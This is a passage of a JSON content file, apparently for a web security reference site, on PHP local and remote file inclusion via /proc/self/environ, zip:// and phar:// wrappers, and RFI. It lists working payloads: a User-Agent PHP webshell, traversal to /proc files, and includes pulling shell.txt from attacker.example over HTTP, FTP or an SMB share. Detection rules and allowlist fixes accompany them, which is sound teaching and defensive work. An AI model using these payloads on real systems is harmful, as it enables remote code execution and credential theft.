        "Modern php-fpm where the User-Agent does not land in /proc/self/environ, so only info disclosure remains.",
        "Input allowlisted so /proc paths can never be included."
      ],
      "payloads": [
        {
          "id": "proc-environ",
          "payload": "../../../../proc/self/environ",
          "explanation": "Includes the process environment; after sending PHP in the User-Agent, the injected code executes. ?c=id then runs commands.",
          "targetOS": "linux",
          "bypassClass": "none",
          "notes": "Inject via header: User-Agent: <?php system($_GET['c']); ?>"
        },
        {
          "id": "proc-cmdline",
          "payload": "../../../../proc/self/cmdline",
          "explanation": "Discloses the exact command line that started the process — arguments sometimes contain credentials or config paths.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "proc-fd",
          "payload": "../../../../proc/self/fd/10",
          "explanation": "Reads an open file descriptor of the process; iterating fd numbers can reveal logs, sockets, or deleted files still held open.",
          "targetOS": "linux",
          "bypassClass": "none"
        },
        {
          "id": "proc-status",
          "payload": "../../../../proc/self/status",
          "explanation": "Leaks process UID/GID, capabilities and limits — useful reconnaissance for privilege escalation.",
          "targetOS": "linux",
          "bypassClass": "none"
        }
      ],
      "detection": {
        "logs": [
          "Inclusion of /proc/self/* or /proc/<pid>/* paths in file parameters.",
          "User-Agent (or other logged headers) containing <?php when /proc/self/environ is being probed.",
          "Sequential reads across /proc/self/fd/<n> indicating fd enumeration."
        ],
        "code": [
          "User input reaching include/require on a Linux host with /proc readable.",
          "CGI/FastCGI configuration exposing request headers as environment variables.",
          "No allowlist between the request and the include target."
        ],
        "rule": "Alert on /proc/self/(environ|cmdline|fd|status|maps) in request parameters; correlate environ reads with PHP-laden headers for RCE intent."
      },
      "remediation": [
        "Never pass user input to include/require; resolve a key through an allowlist to fixed local files.",
        "Confine the process with open_basedir, a chroot, or a container so /proc and other sensitive paths are not readable.",
        "Prefer php-fpm over classic CGI and avoid reflecting request headers into the environment unnecessarily.",
        "Run with least privilege and keep secrets out of command-line arguments and environment variables where feasible."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "An allowlist keeps /proc paths out of include; open_basedir confines reads as defence in depth.",
        "vulnerable": "include($_GET['page']); // ../../proc/self/environ",
        "fixed": "// php.ini: open_basedir = /var/www/app\n$pages = ['home' => 'home.php', 'status' => 'status.php'];\n$key = (string) ($_GET['page'] ?? 'home');\nif (!isset($pages[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/pages/' . $pages[$key];"
      },
      "related": [
        "log-poisoning",
        "session-file-inclusion",
        "absolute-path-inclusion",
        "php-wrapper-rce"
      ],
      "references": [
        {
          "title": "Linux man-pages — proc(5)",
          "url": "https://man7.org/linux/man-pages/man5/proc.5.html"
        },
        {
          "title": "OWASP — Testing for Local File Inclusion",
          "url": "https://owasp.org/www-project-web-security-testing-guide/"
        }
      ],
      "faq": [
        {
          "question": "Does /proc/self/environ still give RCE on modern PHP?",
          "answer": "Often not — many php-fpm setups no longer place the User-Agent into the process environment, so execution fails. The /proc entries remain valuable for information disclosure and escalation reconnaissance."
        }
      ]
    },
    {
      "slug": "zip-phar-wrapper",
      "name": "zip:// & phar:// wrappers",
      "title": "LFI via zip:// and phar:// Wrappers",
      "primaryQuery": "lfi phar wrapper rce",
      "h1": "LFI via zip:// and phar:// wrappers (archive inclusion)",
      "metaDescription": "LFI via phar wrapper RCE and zip:// inclusion: include PHP from an uploaded archive and trigger phar deserialization, with when it works and the fix.",
      "summary": "LFI via the phar wrapper RCE and the zip:// wrapper lets an attacker who can upload an archive include a PHP file packed inside it: zip://upload.zip#shell.php or phar://upload.phar/shell.php reaches the inner file through include and executes it. The phar:// wrapper additionally triggers object deserialization from the archive's metadata, enabling RCE through gadget chains even when the file is only read.",
      "tagline": "Include PHP packed inside an uploaded zip or phar archive.",
      "targetOS": [
        "any"
      ],
      "bypassClasses": [
        "wrapper"
      ],
      "impact": [
        "rce"
      ],
      "howItWorks": [
        "PHP's zip:// and phar:// stream wrappers address files inside an archive. If the attacker can place an archive on the server (a file upload that keeps or lets them control the path) and the LFI reaches include, they can point include at a PHP entry inside the archive.",
        "zip://path/to/upload.zip#inner.php (the fragment names the inner file) makes include execute inner.php from the uploaded zip. The archive can have any extension — only its contents matter — so an 'image upload' that is really a zip often suffices.",
        "phar:// goes further: whenever a phar path is accessed by many filesystem functions, PHP unserializes the phar's serialized metadata. A crafted phar whose metadata is a malicious object can trigger a POP gadget chain on deserialization — so even file_exists/include on a phar:// path can lead to RCE without the inner file ever being 'run'."
      ],
      "whenItWorks": [
        "The attacker can upload or plant an archive and knows/controls its server path.",
        "User input reaches include/require or a filesystem function and the zip://phar:// wrappers are enabled.",
        "For phar deserialization: a usable gadget chain exists in the loaded code (framework/library classes)."
      ],
      "whenItFails": [
        "The phar:// / zip:// wrappers are disabled, or uploads are stored outside readable scope with randomised names.",
        "Input is allowlisted so no wrapper string reaches the file call.",
        "PHP 8+ phar read-only/Phar.readonly and hardened deserialization reduce the metadata-gadget surface."
      ],
      "payloads": [
        {
          "id": "zp-zip-include",
          "payload": "zip://../../uploads/avatar.zip#shell.php",
          "explanation": "Includes shell.php packed inside an uploaded zip (any extension works); the inner PHP executes. The # names the inner file.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "zp-phar-include",
          "payload": "phar://../../uploads/avatar.phar/shell.php",
          "explanation": "Includes an inner PHP file from an uploaded phar archive for direct execution.",
          "targetOS": "any",
          "bypassClass": "wrapper"
        },
        {
          "id": "zp-phar-deserialize",
          "payload": "phar://../../uploads/image.jpg/test.txt",
          "explanation": "Merely accessing a phar path (even one disguised as .jpg) deserializes its metadata; a crafted object can fire a gadget chain for RCE.",
          "targetOS": "any",
          "bypassClass": "wrapper",
          "notes": "Requires a POP gadget chain in the application's loaded classes."
        }
      ],
      "detection": {
        "logs": [
          "zip:// or phar:// schemes in request parameters, especially with a # fragment.",
          "File parameters pointing into the uploads directory combined with a wrapper scheme.",
          "Uploaded files whose real magic bytes are an archive/phar despite an image extension."
        ],
        "code": [
          "User input reaching include/require or filesystem functions where zip://phar:// can be supplied.",
          "File uploads stored with attacker-influenced names/paths and not validated by content.",
          "Phar.readonly off, or deserialization-heavy libraries present (gadget surface)."
        ],
        "rule": "Alert on phar:// and zip:// in parameters; flag uploads whose magic bytes indicate an archive/phar regardless of extension."
      },
      "remediation": [
        "Never pass user input to include/require or filesystem functions; use an allowlist of keys to fixed local files.",
        "Validate uploads by content type and re-encode/rename them to random paths outside the web root; reject archives where not expected.",
        "Disable the phar:// and zip:// wrappers for untrusted code paths, keep Phar.readonly on, and avoid passing user paths to functions that trigger phar deserialization.",
        "Reject any input containing a URL/stream scheme, and run with least privilege to contain any execution."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "An allowlist keeps zip:// / phar:// strings out of include and out of filesystem calls.",
        "vulnerable": "include($_GET['tpl']); // zip://uploads/x.zip#shell.php",
        "fixed": "$templates = ['default' => 'default.php', 'dark' => 'dark.php'];\n$key = (string) ($_GET['tpl'] ?? 'default');\nif (!isset($templates[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/templates/' . $templates[$key];"
      },
      "related": [
        "php-wrapper-rce",
        "php-filter-wrapper",
        "session-file-inclusion",
        "absolute-path-inclusion"
      ],
      "references": [
        {
          "title": "PHP manual — phar:// stream wrapper",
          "url": "https://www.php.net/manual/en/phar.using.intro.php"
        },
        {
          "title": "PHP manual — zip:// wrapper",
          "url": "https://www.php.net/manual/en/wrappers.compression.php"
        }
      ],
      "faq": [
        {
          "question": "Why can phar:// cause RCE without running the inner file?",
          "answer": "Accessing a phar path makes PHP unserialize the archive's metadata. If that metadata is a malicious serialized object and a suitable gadget chain exists in loaded code, the deserialization itself executes attacker-controlled logic."
        }
      ]
    },
    {
      "slug": "remote-file-inclusion",
      "name": "Remote file inclusion",
      "title": "Remote File Inclusion (RFI) Payloads & Fix",
      "primaryQuery": "remote file inclusion payloads",
      "h1": "Remote file inclusion (RFI) and UNC/SMB inclusion",
      "metaDescription": "Remote file inclusion payloads pull PHP from an attacker URL into include for RCE, plus Windows UNC/SMB inclusion, with when it works, detection, and the fix.",
      "summary": "Remote file inclusion payloads make a vulnerable include fetch code from an attacker-controlled URL (http://evil/shell.txt) so it runs on the target — the remote cousin of LFI and a direct path to RCE. On PHP it requires allow_url_include; on Windows, UNC paths (\\\\attacker\\share\\shell.php) achieve the same over SMB even without URL wrappers.",
      "tagline": "Make include fetch and run PHP from your own URL or SMB share.",
      "targetOS": [
        "linux",
        "windows"
      ],
      "bypassClasses": [
        "remote"
      ],
      "impact": [
        "rce"
      ],
      "howItWorks": [
        "When user input reaches include/require and the runtime is allowed to open remote URLs, the attacker hosts a PHP payload and supplies its URL. include downloads and executes it in the target's context — full RCE from a single parameter.",
        "On PHP this needs allow_url_include=On (and allow_url_fopen=On). The hosted file usually carries a non-.php extension (shell.txt) so the attacker's own server returns the source rather than executing it; the target then runs it. A trailing ? can absorb an appended extension on the target.",
        "On Windows, even without URL wrappers, a UNC path like \\\\attacker-ip\\share\\shell.php causes the server to fetch the file over SMB and include it — and the SMB handshake also leaks the machine's NetNTLM hash, useful for relay or cracking."
      ],
      "whenItWorks": [
        "User input reaches include/require and, on PHP, allow_url_include=On.",
        "The target can reach the attacker's host (outbound HTTP, or SMB egress for UNC).",
        "No allowlist constrains the include target."
      ],
      "whenItFails": [
        "allow_url_include=Off (the modern default) blocks http(s):// includes on PHP.",
        "Egress filtering prevents the target from reaching the attacker's server/share.",
        "Input is allowlisted so no remote path reaches include."
      ],
      "payloads": [
        {
          "id": "rfi-http",
          "payload": "http://attacker.example/shell.txt",
          "explanation": "Classic RFI: the target downloads and executes the hosted PHP. Host it with a non-PHP extension so your own server serves the source. Requires allow_url_include=On.",
          "targetOS": "any",
          "bypassClass": "remote"
        },
        {
          "id": "rfi-http-query-truncate",
          "payload": "http://attacker.example/shell.txt?",
          "explanation": "The trailing ? turns an appended extension on the target into a query string, so shell.txt is fetched intact.",
          "targetOS": "any",
          "bypassClass": "remote"
        },
        {
          "id": "rfi-unc-smb",
          "payload": "\\\\attacker-ip\\share\\shell.php",
          "explanation": "Windows UNC inclusion over SMB — executes the remote file without URL wrappers and leaks the server's NetNTLM hash on connect.",
          "targetOS": "windows",
          "bypassClass": "remote"
        },
        {
          "id": "rfi-ftp",
          "payload": "ftp://attacker.example/shell.txt",
          "explanation": "FTP wrapper variant used when HTTP egress is filtered but FTP is permitted; still requires allow_url_include.",
          "targetOS": "any",
          "bypassClass": "remote"
        }
      ],
      "detection": {
        "logs": [
          "Parameters whose value is a URL (http://, https://, ftp://) or a UNC path (\\\\host\\share).",
          "Outbound HTTP/SMB connections from the web server to unexpected external hosts right after such a request.",
          "Included filenames pointing off-host rather than to a local path."
        ],
        "code": [
          "User input reaching include/require with allow_url_include/allow_url_fopen enabled.",
          "No allowlist between the request and the include target.",
          "Windows hosts allowing outbound SMB and passing user paths to include/filesystem calls."
        ],
        "rule": "Alert on URL or UNC values in file parameters and on web-server egress to new external hosts/SMB immediately following; both together are high-confidence."
      },
      "remediation": [
        "Set allow_url_include=Off and allow_url_fopen=Off unless explicitly required — this blocks http(s)/ftp RFI on PHP.",
        "Never pass user input to include/require; resolve a key through an allowlist to fixed local files.",
        "Reject input containing a URL scheme or a UNC/\\\\ prefix; restrict outbound egress (no arbitrary HTTP, block outbound SMB) with a firewall.",
        "On Windows, block outbound SMB (ports 139/445) to stop UNC inclusion and NetNTLM hash leakage."
      ],
      "codeFix": {
        "lang": "php",
        "caption": "allow_url_include=Off plus an allowlist removes both URL and UNC inclusion.",
        "vulnerable": "include($_GET['module']); // http://attacker/shell.txt",
        "fixed": "// php.ini: allow_url_include=Off, allow_url_fopen=Off\n$modules = ['stats' => 'stats.php', 'help' => 'help.php'];\n$key = (string) ($_GET['module'] ?? 'help');\nif (!isset($modules[$key])) { http_response_code(404); exit; }\ninclude __DIR__ . '/modules/' . $modules[$key];"
      },
      "related": [
        "php-wrapper-rce",
        "absolute-path-inclusion",
        "basic-path-traversal",
        "log-poisoning"
      ],
      "references": [
        {
          "title": "OWASP — Testing for Remote File Inclusion",
          "url": "https://owasp.org/www-project-web-security-testing-guide/"
        },
        {
          "title": "PHP manual — allow_url_include",
          "url": "https://www.php.net/manual/en/filesystem.configuration.php"
        },
        {
          "title": "CWE-98: PHP Remote File Inclusion",
          "url": "https://cwe.mitre.org/data/definitions/98.html"
        }
      ],
      "faq": [
        {
          "question": "How is RFI different from LFI?",
          "answer": "LFI includes a file already on the server; RFI pulls the file from a remote location the attacker controls. RFI gives code execution more directly but needs allow_url_include (PHP) or SMB egress (Windows UNC), which are usually disabled today."
        }
      ]
    }
  ]
}